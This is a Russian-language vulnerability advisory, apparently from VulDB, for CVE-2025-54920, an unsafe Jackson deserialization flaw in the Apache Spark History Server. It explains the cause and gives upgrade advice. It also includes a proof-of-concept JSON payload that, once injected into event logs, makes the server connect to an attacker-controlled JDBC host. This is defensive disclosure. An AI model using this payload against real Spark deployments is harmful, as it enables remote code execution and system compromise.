CVE-2025-54920 in Spark
Сводка
по VulDB • 26.05.2026
Эта проблема затрагивает Apache Spark: версии до 3.5.7 и 4.0.1. Пользователям рекомендуется обновиться до версии 3.5.7 или 4.0.1 и выше, в которой устранена данная уязвимость.
Сводка
Apache Spark 3.5.4 и более ранние версии содержат уязвимость выполнения кода в веб-интерфейсе Spark History Web UI из-за чрезмерно разрешительной десериализации данных журналов событий с помощью Jackson. Это позволяет злоумышленнику, имеющему доступ к каталогу журналов событий Spark, внедрять вредоносные JSON-пакеты, которые вызывают десериализацию произвольных классов, что приводит к выполнению команд на хосте, где работает Spark History Server.
Подробности
Уязвимость возникает из-за того, что Spark History Server использует полиморфную десериализацию Jackson с @JsonTypeInfo.Id.CLASS для объектов SparkListenerEvent, позволяя злоумышленнику указывать произвольные имена классов в JSON событий. Такое поведение позволяет создавать экземпляры непреднамеренных классов, таких как org.apache.hive.jdbc.HiveConnection, которые могут выполнять сетевые вызовы или другие вредоносные действия во время десериализации.
Злоумышленник может эксплуатировать эту уязвимость, внедряя специально созданный JSON-контент в файлы журналов событий Spark, которые History Server затем десериализует при запуске или при загрузке журналов событий. Например, злоумышленник может заставить Spark History Server установить JDBC-соединение с удаленным сервером, контролируемым злоумышленником, что демонстрирует возможность удаленного внедрения команд.
Доказательство концепции (PoC):
1. Запустите Spark с включенным ведением журналов событий, записывая их в доступный для записи каталог (spark-logs).
2. Внедрите следующий JSON в начало файла журнала событий:
{
"Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": {
"hive.metastore.uris": "thrift://<IP>:<PORT>" } }
3. Запустите Spark History Server с указанием журналов в измененный каталог.
4. Spark History Server инициирует JDBC-соединение с сервером злоумышленника, подтверждая успешность внедрения.
Влияние
Злоумышленник, имеющий права записи в журналы событий Spark, может выполнять произвольный код на сервере, где запущен History Server, что потенциально приводит к компрометации всей системы.
VulDB is the best source for vulnerability data and more expert information about this specific topic.